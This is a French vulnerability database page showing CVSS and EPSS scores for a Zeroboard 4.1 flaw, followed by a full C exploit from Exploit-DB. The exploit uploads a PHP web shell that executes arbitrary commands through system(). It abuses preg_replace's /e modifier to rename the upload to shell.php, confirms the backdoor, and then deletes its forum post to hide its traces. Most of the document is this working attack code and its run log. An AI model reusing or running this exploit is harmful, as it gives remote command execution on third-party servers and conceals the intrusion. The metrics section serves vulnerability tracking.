Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date EPSS V0 EPSS V1 EPSS V2 (> 2022-02-04) EPSS V3 (> 2025-03-07) EPSS V4 (> 2025-03-17) 2022-02-06 – – 4.19% – – 2022-04-03 – – 4.19% – – 2022-07-17 – – 4.19% – – 2023-03-12 – – – 3.59% – 2023-09-17 – – – 3.59% – 2023-09-24 – – – 4.29% – 2024-02-11 – – – 4.29% – 2024-06-02 – – – 4.26% – 2024-11-10 – – – 4.26% – 2024-12-08 – – – 3.96% – 2025-01-19 – – – 3.96% – 2025-03-18 – – – – 2.87% 2025-03-30 – – – – 3.06% 2025-03-30 – – – – 3.06,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date Percentile 2022-02-06 7% 2022-04-03 86% 2022-07-17 87% 2023-03-12 9% 2023-09-17 91% 2023-09-24 91% 2024-02-11 92% 2024-06-02 92% 2024-11-10 93% 2024-12-08 92% 2025-01-19 92% 2025-03-18 85% 2025-03-30 86% 2025-03-30 86%
Informations sur l'Exploit
Exploit Database EDB-ID : 1020
Date de publication : 2005-05-30 22h00 +00:00
Auteur : n0gada
EDB Vérifié : Yes
/*
*
----------------------------------------------------------------------------------
[+] Zeroboard preg_replace vulnerability Remote nobody shell exploit
----------------------------------------------------------------------------------
> by n0gada (n0gada@null2root.org)
[*] date : 2005/5/29
[*] the bug
Original advisory:
- http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php
Application
- Zeroboard 4.1 pl2 - 4.1 pl5
Reference:
- http://www.nzeo.com
[*] Target - My test server
$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test
- Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test
[+] xxx.xxx.xxx connecting ok!
[+] Zeroboard writing . ok!
[+] Confirmming your article - found!
[+] Exploiting zeroboard start ............................... Done!
[*] Confirmming your backdoor php script -
http://xxx.xxx.xxx/zboard/data/test/shell.php is generated!
[+] Exploiting success!!
[*] Remove your article - ok! :)
------------------------------------------------------------------------------
*
*/
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>
#define BUFSIZE 4096
#define READSIZE 1500
void ParseZbHost(char *);
void ConnectZboard(char *, unsigned short);
void WriteZboard(void);
void ExploitZboard(void);
void ConfirmPHPScript(void);
void DeleteArticle(void);
void StatusProcess(void);
void Usage(char *);
void OutputErr(char *, int);
char *zb_host;
char *zb_dir;
char *zb_tid;
unsigned short zb_port;
int sockfd = -1;
int reconn=0;
char ReadBuf[READSIZE];
char WriteBuf[BUFSIZE];
char TempBuf[BUFSIZ];
char no[16];
int main(int argc, char *argv[]){
if(argc < 2) Usage(argv[0]);
if(argc > 2) zb_port = atoi(argv[2]);
else zb_port = 80;
// http://host/bbs/zboard.php?id=test
ParseZbHost(argv[1]);
ConnectZboard(zb_host, zb_port);
WriteZboard();
ExploitZboard();
ConfirmPHPScript();
DeleteArticle();
}
void ParseZbHost(char *zbhost)
{
char *psbuf;
char *sptr=NULL;
char *eptr=NULL;
psbuf = malloc(strlen(zbhost)+1);
strcpy(psbuf, zbhost);
if((sptr = strstr(psbuf,"http://")) == NULL) OutputErr("http://host need\n", 0);
zb_host = sptr+7;
sptr = strchr(zb_host, '/');
sptr[0] = '\0';
sptr++;
if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) OutputErr("\"zboard.php?id=\"
need\n", 0);
zb_tid = eptr+14;
eptr--;
eptr[0] = '\0';
zb_dir = sptr;
fprintf(stdout, " - Target : http://%s/%s/zboard.php?id=%s\n", zb_host, zb_dir,
zb_tid);
fflush(stdout);
}
void ConnectZboard(char *server, unsigned short port)
{
struct sockaddr_in serv;
struct hostent *hostname;
if(!(hostname = gethostbyname(server))) OutputErr(server, 1);
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) OutputErr("socket", 1);
memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);
// serv.sin_addr = *((struct in_addr *)hostname->h_addr_list[0]);
if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
OutputErr("connect", 1);
if(!reconn) fprintf(stdout,"\n [+] %s connecting ok!\n", server);
else if(reconn == 1) fprintf(stdout, " [+] %s reconnecting ok!\n", server);
fflush(stdout);
reconn = 0;
}
void WriteZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;
int i = 0;
int cnt=0;
char *tmp_ptr, *ptr;
char form_data[BUFSIZE];
memset(form_data, 0, sizeof(form_data));
sprintf(form_data,
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"page\"\r\n"
"\r\n"
"1\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"id\"\r\n"
"\r\n"
"%s\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"no\"\r\n"
"\r\n"
"\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"select_arrange\"\r\n"
"\r\n"
"headnum\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"desc\"\r\n"
"\r\n"
"asc\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"page_num\"\r\n"
"\r\n"
"\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"keyword\"\r\n"
"\r\n"
"\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"category\"\r\n"
"\r\n"
"\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"sn\"\r\n"
"\r\n"
"off\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"ss\"\r\n"
"\r\n"
"on\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"sc\"\r\n"
"\r\n"
"on\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"mode\"\r\n"
"\r\n"
"write\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"password\"\r\n"
"\r\n"
"1212\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"name\"\r\n"
"\r\n"
"zero\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"email\"\r\n"
"\r\n"
"zero@nzeo.com\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"homepage\"\r\n"
"\r\n"
"\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"subject\"\r\n"
"\r\n"
"zero@nzeo.com hi~!\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"memo\"\r\n"
"\r\n"
"`mv data/%s/d214924151d9e1ffac5bb2258561031e
data/%s/shell.php`;# 70ab423bfaea846c9db0b96126254103\r\n"
//"-----------------------------8ac34985126d8\r\n"
//"Content-Disposition: form-data; name=\"sitelink1\"\r\n"
//"\r\n"
//"\r\n"
//"-----------------------------8ac34985126d8\r\n"
//"Content-Disposition: form-data; name=\"sitelink2\"\r\n"
//"\r\n"
//"\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"file1\";
filename=\"d214924151d9e1ffac5bb2258561031e\"\r\n"
"Content-Type: text/plain\r\n"
"\r\n"
"<?
if(count($_GET)) extract($_GET);
if(count($_POST)) extract($_POST);
if(count($_SERVER)) extract($_SERVER);
echo \"<form action=$PHP_SELF method=post>
command : <input type=text name=cmd>
<input type=submit></form><hr>\";
if($cmd){
$cmd = str_replace(\"\\\\\", \"\", $cmd);
echo \"<pre>\"; system($cmd); echo \"</pre>\";
}
?>\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"file2\"; filename=\"\"\r\n"
"Content-Type: application/octet-stream\r\n"
"\r\n"
"\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"x\"\r\n"
"\r\n"
"36\r\n"
"-----------------------------8ac34985126d8\r\n"
"Content-Disposition: form-data; name=\"y\"\r\n"
"\r\n"
"11\r\n"
"-----------------------------8ac34985126d8--\r\n"
, zb_tid, zb_tid, zb_tid);
memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"POST /%s/write_ok.php HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*\r\n"
"Referer: http://%s/%s/write.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=&
mode=write&sn1=&divpage=1\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------8ac34985126d8\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n"
"\r\n""%s", zb_dir, zb_host, zb_dir, zb_tid, zb_host, strlen(form_data), form_data);
fprintf(stdout, " [+] Zeroboard writing ");
fflush(stdout);
if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
tv.tv_sec = 60;
tv.tv_usec = 0;
FD_ZERO(&fds);
for(;;){
memset(ReadBuf, 0, sizeof(ReadBuf));
if(i!=0xb33f) StatusProcess();
FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+17, "Connection: close\r\n")) reconn = 1;
if(strstr(ReadBuf+9, "200 OK\r\n")) {
err++;
}
else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
OutputErr(" failed!(page not found)\n", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
OutputErr(" failed!(Bad Request)\n", 0);
}
else {
OutputErr(ReadBuf, 0);
}
}
if(err == 0){
if(strstr(ReadBuf,"<meta http-equiv=\"refresh\" content=\"0; url=zboard.php?id="))
{
fprintf(stdout, " ok!\n");
fflush(stdout);
fprintf(stdout," [+] Confirmming your article");
fflush(stdout);
if(tmp_ptr = strstr(ReadBuf+18, "url=")) {
ptr = tmp_ptr+4;
if(ptr != NULL){
if(tmp_ptr = strchr(ptr,'"')) tmp_ptr[0] = '\0';
}
}
if(ptr = strstr(ReadBuf,"=&no=")){
ptr += 5;
memset(no, 0, sizeof(no));
for(i=0; i<16; i++){
if(ptr[i] == '&') break;
no[i] = ptr[i];
}
}
if(strlen(no) > 0){
fprintf(stdout," - found!\n");
fflush(stdout);
return;
}
else {
OutputErr(" - failed!(not writed!?!)\n", 0);
}
}
else {
if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf,"\x30\x0d\x0a\x0d\x0a")) break;
}
}
else {
OutputErr("err number error\n", 0);
}
}
}
fprintf(stderr, " error!\n");
}
void ExploitZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;
if(reconn == 1) ConnectZboard(zb_host, zb_port);
memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"GET /%s/view.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&
sc=on&keyword=70ab423bfaea846c9db0b96126254103/e"
, zb_dir, zb_tid);
memcpy(WriteBuf+strlen(WriteBuf), "\x25\x30\x30", 3);
sprintf(WriteBuf+strlen(WriteBuf),
"&select_arrange=headnum&desc=asc&no=%s HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"
"Referer: http://%s/%s/zboard.php\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
"Host: %s\r\n"
"Connection: Keep-Alive\r\n"
"\r\n", no, zb_host, zb_dir, zb_host);
fprintf(stdout, " [+] Exploiting zeroboard start ");
fflush(stdout);
if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
tv.tv_sec = 60;
tv.tv_usec = 0;
FD_ZERO(&fds);
for(;;){
StatusProcess();
memset(ReadBuf, 0, sizeof(ReadBuf));
FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;
if(strstr(ReadBuf+9, "200 OK\r\n")) {
err++;
}
else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
OutputErr(" failed!(page not found)\n", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
OutputErr(" failed!(Bad Request)\n", 0);
}
else {
OutputErr(ReadBuf, 0);
}
}
if(err >= 0){
if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf, "\x30\x0d\x0a\x0d\x0a")){
fprintf(stdout," Done!\n");
fflush(stdout);
return;
}
}
}
}
fprintf(stderr," error!\n");
}
void ConfirmPHPScript(void)
{
fd_set fds;
struct timeval tv;
if(reconn == 1) ConnectZboard(zb_host, zb_port);
memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"GET /%s/data/%s/shell.php HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*\r\n"
"Referer: http://%s/%s/zboard.php\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
"Host: %s\r\n"
"Connection: Keep-Alive\r\n"
"\r\n", zb_dir, zb_tid, zb_host, zb_dir, zb_host);
fprintf(stdout, " [*] Confirmming your backdoor php script");
fflush(stdout);
if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
tv.tv_sec = 60;
tv.tv_usec = 0;
FD_ZERO(&fds);
for(;;){
memset(ReadBuf, 0, sizeof(ReadBuf));
FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;
if(strstr(ReadBuf+9, "200 OK\r\n")) {
fprintf(stdout," - http://%s/%s/data/%s/shell.php is generated!\n
[+] Exploiting success!!\n", zb_host, zb_dir, zb_tid);
fflush(stdout);
return;
}
else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
OutputErr(" - page not found\n - 'mv' instruction permission denied.\n - zeroboard was patched.\n"
" [-] Exploit failed!\n", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
OutputErr(" - Bad Request\n"
" [-] Exploit failed!\n", 0);
}
else {
OutputErr(ReadBuf, 0);
}
}
}
}
fprintf(stderr," error!\n");
}
void DeleteArticle(void)
{
fd_set fds;
struct timeval tv;
char post_data[BUFSIZ];
if(reconn == 1) ConnectZboard(zb_host, zb_port);
sprintf(post_data,
"page=1&id=%s&no=%s&select_arrange=headnum&desc=asc&page_num=20&keyword=&category=&sn=off&ss=off&sc=on&mode=&c_no=&password=1212&x=20&y=9\r\n", zb_tid, no);
memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"POST /%s/delete_ok.php HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"
"Referer: http://%s/%s/delete.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&sc=on&select_arrange=headnum&desc=asc&no=%s\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Connection: close\r\n"
"Cache-Control: no-cache\r\n"
"\r\n"
"%s", zb_dir, zb_host, zb_dir, zb_tid, no, zb_host, strlen(post_data), post_data);
fprintf(stdout, " [*] Remove your article ");
fflush(stdout);
if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
tv.tv_sec = 60;
tv.tv_usec = 0;
FD_ZERO(&fds);
for(;;){
memset(ReadBuf, 0, sizeof(ReadBuf));
FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+9, "200 OK\r\n")) {
if(strstr(ReadBuf+17, "<meta http-equiv=\"refresh\" content=\"0; url=zboard.php?id=")) {
fprintf(stdout, " - ok! :)\n");
fflush(stdout);
return;
}
else{
break;
}
}
else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
OutputErr(" - failed!(page not found)\n", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
OutputErr(" - failed!(Bad Request)\n", 0);
}
else {
fprintf(stderr,"%s", ReadBuf);
exit(1);
}
}
}
}
fprintf(stderr," error!\n");
}
void StatusProcess(void)
{
putchar('.');
fflush(stdout);
}
void OutputErr(char *msg, int type)
{
if(!type){
fprintf(stderr,"%s", msg);
fflush(stderr);
}
else if(type==1){
if(!strcmp(msg, zb_host)) herror(msg);
else perror(msg);
}
DeleteArticle();
exit(1);
}
void Usage(char *arg)
{
fprintf(stderr,"[*] Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada\n");
fprintf(stderr,"--------------------------------------------------------------------------\n");
fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80] \n", arg);
fprintf(stderr,"--------------------------------------------------------------------------\n");
exit(1);
}
// milw0rm.com [2005-05-31]
Products Mentioned
Configuraton 0 Zeroboard>>Zeroboard >> Version 4.1_pl2
Zeroboard>>Zeroboard >> Version 4.1_pl3
Zeroboard>>Zeroboard >> Version 4.1_pl4
Zeroboard>>Zeroboard >> Version 4.1_pl5
Références